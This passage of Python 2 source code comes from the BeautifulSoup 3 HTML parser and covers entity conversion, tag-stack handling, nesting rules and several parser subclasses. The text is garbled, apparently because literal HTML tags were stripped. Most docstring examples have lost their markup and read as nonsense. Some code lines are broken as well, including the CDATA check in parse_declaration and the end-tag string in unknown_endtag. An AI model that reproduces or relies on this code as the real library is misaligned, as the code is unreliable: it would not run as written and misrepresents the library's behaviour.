x: x.group(1) + ' />'), (re.compile(']*)>'), lambda x: '') ] ROOT_TAG_NAME = u'[document]' HTML_ENTITIES = "html" XML_ENTITIES = "xml" XHTML_ENTITIES = "xhtml" # TODO: This only exists for backwards-compatibility ALL_ENTITIES = XHTML_ENTITIES # Used when determining whether a text node is all whitespace and # can be replaced with a single space. A text node that contains # fancy Unicode spaces (usually non-breaking) should be left # alone. STRIP_ASCII_SPACES = { 9: None, 10: None, 12: None, 13: None, 32: None, } def __init__(self, markup="", parseOnlyThese=None, fromEncoding=None, markupMassage=True, smartQuotesTo=XML_ENTITIES, convertEntities=None, selfClosingTags=None, isHTML=False): """The Soup object is initialized as the 'root tag', and the provided markup (which can be a string or a file-like object) is fed into the underlying parser. sgmllib will process most bad HTML, and the BeautifulSoup class has some tricks for dealing with some HTML that kills sgmllib, but Beautiful Soup can nonetheless choke or lose data if your data uses self-closing tags or declarations incorrectly. By default, Beautiful Soup uses regexes to sanitize input, avoiding the vast majority of these problems. If the problems don't apply to you, pass in False for markupMassage, and you'll get better performance. The default parser massage techniques fix the two most common instances of invalid HTML that choke sgmllib:
    (No space between name of closing tag and tag close) (Extraneous whitespace in declaration) You can pass in a custom list of (RE object, replace method) tuples to get Beautiful Soup to scrub your input the way you want.""" self.parseOnlyThese = parseOnlyThese self.fromEncoding = fromEncoding self.smartQuotesTo = smartQuotesTo self.convertEntities = convertEntities # Set the rules for how we'll deal with the entities we # encounter if self.convertEntities: # It doesn't make sense to convert encoded characters to # entities even while you're converting entities to Unicode. # Just convert it all to Unicode. self.smartQuotesTo = None if convertEntities == self.HTML_ENTITIES: self.convertXMLEntities = False self.convertHTMLEntities = True self.escapeUnrecognizedEntities = True elif convertEntities == self.XHTML_ENTITIES: self.convertXMLEntities = True self.convertHTMLEntities = True self.escapeUnrecognizedEntities = False elif convertEntities == self.XML_ENTITIES: self.convertXMLEntities = True self.convertHTMLEntities = False self.escapeUnrecognizedEntities = False else: self.convertXMLEntities = False self.convertHTMLEntities = False self.escapeUnrecognizedEntities = False self.instanceSelfClosingTags = buildTagMap(None, selfClosingTags) SGMLParser.__init__(self) if hasattr(markup, 'read'): # It's a file-type object. markup = markup.read() self.markup = markup self.markupMassage = markupMassage try: self._feed(isHTML=isHTML) except StopParsing: pass self.markup = None # The markup can now be GCed def convert_charref(self, name): """This method fixes a bug in Python's SGMLParser.""" try: n = int(name) except ValueError: return if not 0 <= n <= 127 : # ASCII ends at 127, not 255 return return self.convert_codepoint(n) def _feed(self, inDocumentEncoding=None, isHTML=False): # Convert the document to Unicode. markup = self.markup if isinstance(markup, unicode): if not hasattr(self, 'originalEncoding'): self.originalEncoding = None else: dammit = UnicodeDammit\ (markup, [self.fromEncoding, inDocumentEncoding], smartQuotesTo=self.smartQuotesTo, isHTML=isHTML) markup = dammit.unicode self.originalEncoding = dammit.originalEncoding self.declaredHTMLEncoding = dammit.declaredHTMLEncoding if markup: if self.markupMassage: if not hasattr(self.markupMassage, "__iter__"): self.markupMassage = self.MARKUP_MASSAGE for fix, m in self.markupMassage: markup = fix.sub(m, markup) # TODO: We get rid of markupMassage so that the # soup object can be deepcopied later on. Some # Python installations can't copy regexes. If anyone # was relying on the existence of markupMassage, this # might cause problems. del(self.markupMassage) self.reset() SGMLParser.feed(self, markup) # Close out any unfinished strings and close all the open tags. self.endData() while self.currentTag.name != self.ROOT_TAG_NAME: self.popTag() def __getattr__(self, methodName): """This method routes method call requests to either the SGMLParser superclass or the Tag superclass, depending on the method name.""" #print "__getattr__ called on %s.%s" % (self.__class__, methodName) if methodName.startswith('start_') or methodName.startswith('end_') \ or methodName.startswith('do_'): return SGMLParser.__getattr__(self, methodName) elif not methodName.startswith('__'): return Tag.__getattr__(self, methodName) else: raise AttributeError def isSelfClosingTag(self, name): """Returns true iff the given string is the name of a self-closing tag according to this parser.""" return self.SELF_CLOSING_TAGS.has_key(name) \ or self.instanceSelfClosingTags.has_key(name) def reset(self): Tag.__init__(self, self, self.ROOT_TAG_NAME) self.hidden = 1 SGMLParser.reset(self) self.currentData = [] self.currentTag = None self.tagStack = [] self.quoteStack = [] self.pushTag(self) def popTag(self): tag = self.tagStack.pop() #print "Pop", tag.name if self.tagStack: self.currentTag = self.tagStack[-1] return self.currentTag def pushTag(self, tag): #print "Push", tag.name if self.currentTag: self.currentTag.contents.append(tag) self.tagStack.append(tag) self.currentTag = self.tagStack[-1] def endData(self, containerClass=NavigableString): if self.currentData: currentData = u''.join(self.currentData) if (currentData.translate(self.STRIP_ASCII_SPACES) == '' and not set([tag.name for tag in self.tagStack]).intersection( self.PRESERVE_WHITESPACE_TAGS)): if '\n' in currentData: currentData = '\n' else: currentData = ' ' self.currentData = [] if self.parseOnlyThese and len(self.tagStack) <= 1 and \ (not self.parseOnlyThese.text or \ not self.parseOnlyThese.search(currentData)): return o = containerClass(currentData) o.setup(self.currentTag, self.previous) if self.previous: self.previous.next = o self.previous = o self.currentTag.contents.append(o) def _popToTag(self, name, inclusivePop=True): """Pops the tag stack up to and including the most recent instance of the given tag. If inclusivePop is false, pops the tag stack up to but *not* including the most recent instqance of the given tag.""" #print "Popping to %s" % name if name == self.ROOT_TAG_NAME: return numPops = 0 mostRecentTag = None for i in xrange(len(self.tagStack)-1, 0, -1): if name == self.tagStack[i].name: numPops = len(self.tagStack)-i break if not inclusivePop: numPops = numPops - 1 for i in xrange(0, numPops): mostRecentTag = self.popTag() return mostRecentTag def _smartPop(self, name): """We need to pop up to the previous tag of this type, unless one of this tag's nesting reset triggers comes between this tag and the previous tag of this type, OR unless this tag is a generic nesting trigger and another generic nesting trigger comes between this tag and the previous tag of this type. Examples:

    FooBar *

    * should pop to 'p', not 'b'.

    FooBar *

    * should pop to 'table', not 'p'.

    Foo

    Bar *

    * should pop to 'tr', not 'p'.

    • *
    • * should pop to 'ul', not the first 'li'.
    • ** should pop to 'table', not the first 'tr' tag should implicitly close the previous tag within the same
    ** should pop to 'tr', not the first 'td' """ nestingResetTriggers = self.NESTABLE_TAGS.get(name) isNestable = nestingResetTriggers != None isResetNesting = self.RESET_NESTING_TAGS.has_key(name) popTo = None inclusive = True for i in xrange(len(self.tagStack)-1, 0, -1): p = self.tagStack[i] if (not p or p.name == name) and not isNestable: #Non-nestable tags get popped to the top or to their #last occurance. popTo = name break if (nestingResetTriggers is not None and p.name in nestingResetTriggers) \ or (nestingResetTriggers is None and isResetNesting and self.RESET_NESTING_TAGS.has_key(p.name)): #If we encounter one of the nesting reset triggers #peculiar to this tag, or we encounter another tag #that causes nesting to reset, pop up to but not #including that tag. popTo = p.name inclusive = False break p = p.parent if popTo: self._popToTag(popTo, inclusive) def unknown_starttag(self, name, attrs, selfClosing=0): #print "Start tag %s: %s" % (name, attrs) if self.quoteStack: #This is not a real tag. #print "<%s> is not real!" % name attrs = ''.join([' %s="%s"' % (x, y) for x, y in attrs]) self.handle_data('<%s%s>' % (name, attrs)) return self.endData() if not self.isSelfClosingTag(name) and not selfClosing: self._smartPop(name) if self.parseOnlyThese and len(self.tagStack) <= 1 \ and (self.parseOnlyThese.text or not self.parseOnlyThese.searchTag(name, attrs)): return tag = Tag(self, name, attrs, self.currentTag, self.previous) if self.previous: self.previous.next = tag self.previous = tag self.pushTag(tag) if selfClosing or self.isSelfClosingTag(name): self.popTag() if name in self.QUOTE_TAGS: #print "Beginning quote (%s)" % name self.quoteStack.append(name) self.literal = 1 return tag def unknown_endtag(self, name): #print "End tag %s" % name if self.quoteStack and self.quoteStack[-1] != name: #This is not a real end tag. #print " is not real!" % name self.handle_data('' % name) return self.endData() self._popToTag(name) if self.quoteStack and self.quoteStack[-1] == name: self.quoteStack.pop() self.literal = (len(self.quoteStack) > 0) def handle_data(self, data): self.currentData.append(data) def _toStringSubclass(self, text, subclass): """Adds a certain piece of text to the tree as a NavigableString subclass.""" self.endData() self.handle_data(text) self.endData(subclass) def handle_pi(self, text): """Handle a processing instruction as a ProcessingInstruction object, possibly one with a %SOUP-ENCODING% slot into which an encoding will be plugged later.""" if text[:3] == "xml": text = u"xml version='1.0' encoding='%SOUP-ENCODING%'" self._toStringSubclass(text, ProcessingInstruction) def handle_comment(self, text): "Handle comments as Comment objects." self._toStringSubclass(text, Comment) def handle_charref(self, ref): "Handle character references as data." if self.convertEntities: data = unichr(int(ref)) else: data = '&#%s;' % ref self.handle_data(data) def handle_entityref(self, ref): """Handle entity references as data, possibly converting known HTML and/or XML entity references to the corresponding Unicode characters.""" data = None if self.convertHTMLEntities: try: data = unichr(name2codepoint[ref]) except KeyError: pass if not data and self.convertXMLEntities: data = self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref) if not data and self.convertHTMLEntities and \ not self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref): # TODO: We've got a problem here. We're told this is # an entity reference, but it's not an XML entity # reference or an HTML entity reference. Nonetheless, # the logical thing to do is to pass it through as an # unrecognized entity reference. # # Except: when the input is "&carol;" this function # will be called with input "carol". When the input is # "AT&T", this function will be called with input # "T". We have no way of knowing whether a semicolon # was present originally, so we don't know whether # this is an unknown entity or just a misplaced # ampersand. # # The more common case is a misplaced ampersand, so I # escape the ampersand and omit the trailing semicolon. data = "&%s" % ref if not data: # This case is different from the one above, because we # haven't already gone through a supposedly comprehensive # mapping of entities to Unicode characters. We might not # have gone through any mapping at all. So the chances are # very high that this is a real entity, and not a # misplaced ampersand. data = "&%s;" % ref self.handle_data(data) def handle_decl(self, data): "Handle DOCTYPEs and the like as Declaration objects." self._toStringSubclass(data, Declaration) def parse_declaration(self, i): """Treat a bogus SGML declaration as raw data. Treat a CDATA declaration as a CData object.""" j = None if self.rawdata[i:i+9] == '', i) if k == -1: k = len(self.rawdata) data = self.rawdata[i+9:k] j = k+3 self._toStringSubclass(data, CData) else: try: j = SGMLParser.parse_declaration(self, i) except SGMLParseError: toHandle = self.rawdata[i:] self.handle_data(toHandle) j = i + len(toHandle) return j class BeautifulSoup(BeautifulStoneSoup): """This parser knows the following facts about HTML: * Some tags have no closing tag and should be interpreted as being closed as soon as they are encountered. * The text inside some tags (ie. 'script') may contain tags which are not really part of the document and which should be parsed as text, not tags. If you want to parse the text as tags, you can always fetch it and parse it explicitly. * Tag nesting rules: Most tags can't be nested at all. For instance, the occurance of a

    tag should implicitly close the previous

    tag.

    Para1

    Para2 should be transformed into:

    Para1

    Para2 Some tags can be nested arbitrarily. For instance, the occurance of a

    tag should _not_ implicitly close the previous
    tag. Alice said:
    Bob said:
    Blah should NOT be transformed into: Alice said:
    Bob said:
    Blah Some tags can be nested, but the nesting is reset by the interposition of other tags. For instance, a
    , but not close a tag in another table.
    BlahBlah should be transformed into:
    BlahBlah but, Blah
    Blah should NOT be transformed into Blah
    Blah Differing assumptions about tag nesting rules are a major source of problems with the BeautifulSoup class. If BeautifulSoup is not treating as nestable a tag your page author treats as nestable, try ICantBelieveItsBeautifulSoup, MinimalSoup, or BeautifulStoneSoup before writing your own subclass.""" def __init__(self, *args, **kwargs): if not kwargs.has_key('smartQuotesTo'): kwargs['smartQuotesTo'] = self.HTML_ENTITIES kwargs['isHTML'] = True BeautifulStoneSoup.__init__(self, *args, **kwargs) SELF_CLOSING_TAGS = buildTagMap(None, ('br' , 'hr', 'input', 'img', 'meta', 'spacer', 'link', 'frame', 'base', 'col')) PRESERVE_WHITESPACE_TAGS = set(['pre', 'textarea']) QUOTE_TAGS = {'script' : None, 'textarea' : None} #According to the HTML standard, each of these inline tags can #contain another tag of the same type. Furthermore, it's common #to actually use these tags this way. NESTABLE_INLINE_TAGS = ('span', 'font', 'q', 'object', 'bdo', 'sub', 'sup', 'center') #According to the HTML standard, these block tags can contain #another tag of the same type. Furthermore, it's common #to actually use these tags this way. NESTABLE_BLOCK_TAGS = ('blockquote', 'div', 'fieldset', 'ins', 'del') #Lists can contain other lists, but there are restrictions. NESTABLE_LIST_TAGS = { 'ol' : [], 'ul' : [], 'li' : ['ul', 'ol'], 'dl' : [], 'dd' : ['dl'], 'dt' : ['dl'] } #Tables can contain other tables, but there are restrictions. NESTABLE_TABLE_TAGS = {'table' : [], 'tr' : ['table', 'tbody', 'tfoot', 'thead'], 'td' : ['tr'], 'th' : ['tr'], 'thead' : ['table'], 'tbody' : ['table'], 'tfoot' : ['table'], } NON_NESTABLE_BLOCK_TAGS = ('address', 'form', 'p', 'pre') #If one of these tags is encountered, all tags up to the next tag of #this type are popped. RESET_NESTING_TAGS = buildTagMap(None, NESTABLE_BLOCK_TAGS, 'noscript', NON_NESTABLE_BLOCK_TAGS, NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS) NESTABLE_TAGS = buildTagMap([], NESTABLE_INLINE_TAGS, NESTABLE_BLOCK_TAGS, NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS) # Used to detect the charset in a META tag; see start_meta CHARSET_RE = re.compile("((^|;)\s*charset=)([^;]*)", re.M) def start_meta(self, attrs): """Beautiful Soup can detect a charset included in a META tag, try to convert the document to that charset, and re-parse the document from the beginning.""" httpEquiv = None contentType = None contentTypeIndex = None tagNeedsEncodingSubstitution = False for i in xrange(0, len(attrs)): key, value = attrs[i] key = key.lower() if key == 'http-equiv': httpEquiv = value elif key == 'content': contentType = value contentTypeIndex = i if httpEquiv and contentType: # It's an interesting meta tag. match = self.CHARSET_RE.search(contentType) if match: if (self.declaredHTMLEncoding is not None or self.originalEncoding == self.fromEncoding): # An HTML encoding was sniffed while converting # the document to Unicode, or an HTML encoding was # sniffed during a previous pass through the # document, or an encoding was specified # explicitly and it worked. Rewrite the meta tag. def rewrite(match): return match.group(1) + "%SOUP-ENCODING%" newAttr = self.CHARSET_RE.sub(rewrite, contentType) attrs[contentTypeIndex] = (attrs[contentTypeIndex][0], newAttr) tagNeedsEncodingSubstitution = True else: # This is our first pass through the document. # Go through it again with the encoding information. newCharset = match.group(3) if newCharset and newCharset != self.originalEncoding: self.declaredHTMLEncoding = newCharset self._feed(self.declaredHTMLEncoding) raise StopParsing pass tag = self.unknown_starttag("meta", attrs) if tag and tagNeedsEncodingSubstitution: tag.containsSubstitutions = True class StopParsing(Exception): pass class ICantBelieveItsBeautifulSoup(BeautifulSoup): """The BeautifulSoup class is oriented towards skipping over common HTML errors like unclosed tags. However, sometimes it makes errors of its own. For instance, consider this fragment: FooBar This is perfectly valid (if bizarre) HTML. However, the BeautifulSoup class will implicitly close the first b tag when it encounters the second 'b'. It will think the author wrote "FooBar", and didn't close the first 'b' tag, because there's no real-world reason to bold something that's already bold. When it encounters '' it will close two more 'b' tags, for a grand total of three tags closed instead of two. This can throw off the rest of your document structure. The same is true of a number of other tags, listed below. It's much more common for someone to forget to close a 'b' tag than to actually use nested 'b' tags, and the BeautifulSoup class handles the common case. This class handles the not-co-common case: where you can't believe someone wrote what they did, but it's valid HTML and BeautifulSoup screwed up by assuming it wouldn't be.""" I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS = \ ('em', 'big', 'i', 'small', 'tt', 'abbr', 'acronym', 'strong', 'cite', 'code', 'dfn', 'kbd', 'samp', 'strong', 'var', 'b', 'big') I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS = ('noscript',) NESTABLE_TAGS = buildTagMap([], BeautifulSoup.NESTABLE_TAGS, I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS, I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS) class MinimalSoup(BeautifulSoup): """The MinimalSoup class is for parsing HTML that contains pathologically bad markup. It makes no assumptions about tag nesting, but it does know which tags are self-closing, that